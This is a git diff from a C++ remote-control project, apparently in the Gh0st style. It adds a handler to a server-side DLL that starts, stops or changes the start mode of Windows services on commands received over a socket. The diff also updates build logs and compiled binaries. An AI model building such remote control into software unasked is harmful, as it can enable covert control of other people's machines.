diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index f2c4bc6..506a00c 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index 8748779..1806001 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -108,6 +108,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配 f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配 ServerManager.cpp +f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(290): warning C4102: “defaute”: 未引用的标签 ShellManager.cpp f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 diff --git a/CcMainDll/CcMainDll/common/ServerManager.cpp b/CcMainDll/CcMainDll/common/ServerManager.cpp index 6300eae..8e36204 100644 --- a/CcMainDll/CcMainDll/common/ServerManager.cpp +++ b/CcMainDll/CcMainDll/common/ServerManager.cpp @@ -169,3 +169,125 @@ void CServerManager::SendServicesList() Send((LPBYTE)lpBuffer, LocalSize(lpBuffer)); LocalFree(lpBuffer); } + +void CServerManager::OnReceive(LPBYTE lpBuffer, UINT nSize) +{ + switch (lpBuffer[0]) + { + case COMMAND_SERVICELIST: + SendServicesList(); + break; + case COMMAND_SERVICECONFIG: + ServiceConfig((LPBYTE)lpBuffer + 1, nSize - 1); + break; + default: + break; + } +} + +void CServerManager::ServiceConfig(LPBYTE lpBuffer, UINT nSize) +{ + BYTE COMMAND = lpBuffer[0]; + char *m_ServiceName = (char *)(lpBuffer + 1); + + switch (COMMAND) + { + case COMMAND_SERVICES_START: //start + { + SC_HANDLE hSCManager1 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (NULL != hSCManager1) + { + SC_HANDLE hService1 = OpenService(hSCManager1, m_ServiceName, SERVICE_ALL_ACCESS); + if (NULL != hService1) + { + StartService(hService1, NULL, NULL); + CloseServiceHandle(hService1); + } + CloseServiceHandle(hSCManager1); + } + Sleep(500); + SendServicesList(); + } + break; + + case COMMAND_SERVICES_STOP: //stop + { + SC_HANDLE hSCManager4 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (NULL != hSCManager4) + { + SC_HANDLE hService4 = OpenService(hSCManager4, m_ServiceName, SERVICE_ALL_ACCESS); + if (NULL != hService4) + { + SERVICE_STATUS stat; + ControlService(hService4, SERVICE_CONTROL_STOP, &stat); + CloseServiceHandle(hService4); + } + CloseServiceHandle(hSCManager4); + } + Sleep(500); + SendServicesList(); + } + break; + case COMMAND_SERVICES_AUTO: //auto + { + SC_HANDLE hSCManager2 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (NULL != hSCManager2) + { + SC_HANDLE hService2 = OpenService(hSCManager2, m_ServiceName, SERVICE_ALL_ACCESS); + if (NULL != hService2) + { + SC_LOCK sclLock2 = LockServiceDatabase(hSCManager2); + BOOL stat2 = ChangeServiceConfig( + hService2, + SERVICE_NO_CHANGE, + SERVICE_AUTO_START, + SERVICE_NO_CHANGE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL); + UnlockServiceDatabase(sclLock2); + CloseServiceHandle(hService2); + } + CloseServiceHandle(hSCManager2); + } + Sleep(500); + SendServicesList(); + } + break; + case COMMAND_SERVICES_MANUAL: // DEMAND_START + { + SC_HANDLE hSCManager3 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (NULL != hSCManager3) + { + SC_HANDLE hService3 = OpenService(hSCManager3, m_ServiceName, SERVICE_ALL_ACCESS); + if (NULL != hService3) + { + SC_LOCK sclLock3 = LockServiceDatabase(hSCManager3); + BOOL stat3 = ChangeServiceConfig( + hService3, + SERVICE_NO_CHANGE, + SERVICE_DEMAND_START, + SERVICE_NO_CHANGE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL); + UnlockServiceDatabase(sclLock3); + CloseServiceHandle(hService3); + } + CloseServiceHandle(hSCManager3); + } + Sleep(500); + SendServicesList(); + } +defaute: + break; + } +} diff --git a/CcMainDll/CcMainDll/common/ServerManager.h b/CcMainDll/CcMainDll/common/ServerManager.h index 26a0eb2..566ff5c 100644 --- a/CcMainDll/CcMainDll/common/ServerManager.h +++ b/CcMainDll/CcMainDll/common/ServerManager.h @@ -16,10 +16,12 @@ class CServerManager : public CManager public: CServerManager(CClientSocket *pClient); virtual ~CServerManager(); - + virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); + protected: void SendServicesList(); LPBYTE getServerList(); + void ServiceConfig(LPBYTE lpBuffer, UINT nSize); }; #endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_) diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index da2d749..7b3221e 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CServerDlg.cpp b/CcRemote/CcRemote/CServerDlg.cpp index 9bbc854..6fdb7b7 100644 --- a/CcRemote/CcRemote/CServerDlg.cpp +++ b/CcRemote/CcRemote/CServerDlg.cpp @@ -198,26 +198,26 @@ void CServerDlg::ServiceConfig(BYTE bCmd) void CServerDlg::OnServerStart() { // TODO: 在此添加命令处理程序代码 - ServiceConfig(1); + ServiceConfig(COMMAND_SERVICES_START); } void CServerDlg::OnServerStop() { // TODO: 在此添加命令处理程序代码 - ServiceConfig(2); + ServiceConfig(COMMAND_SERVICES_STOP); } void CServerDlg::OnServerAuto() { // TODO: 在此添加命令处理程序代码 - ServiceConfig(3); + ServiceConfig(COMMAND_SERVICES_AUTO); } void CServerDlg::OnServerManual() { // TODO: 在此添加命令处理程序代码 - ServiceConfig(4); + ServiceConfig(COMMAND_SERVICES_MANUAL); } diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll index 79a0a9e..adaa1ae 100644 Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ diff --git a/common/macros.h b/common/macros.h index d85becb..2c68301 100644 --- a/common/macros.h +++ b/common/macros.h @@ -78,6 +78,13 @@ enum COMMAND_SERVICELIST, // ˢ·б COMMAND_SERVICECONFIG, // ˷ıʶ + // IJ + COMMAND_SERVICES_START = 0x01, // + COMMAND_SERVICES_STOP, // ֹͣ + COMMAND_SERVICES_AUTO, // ʽ - Զ + COMMAND_SERVICES_MANUAL, // ʽ - ֶ + + // ˷ıʶ TOKEN_AUTH = 100, // Ҫ֤ TOKEN_HEARTBEAT, //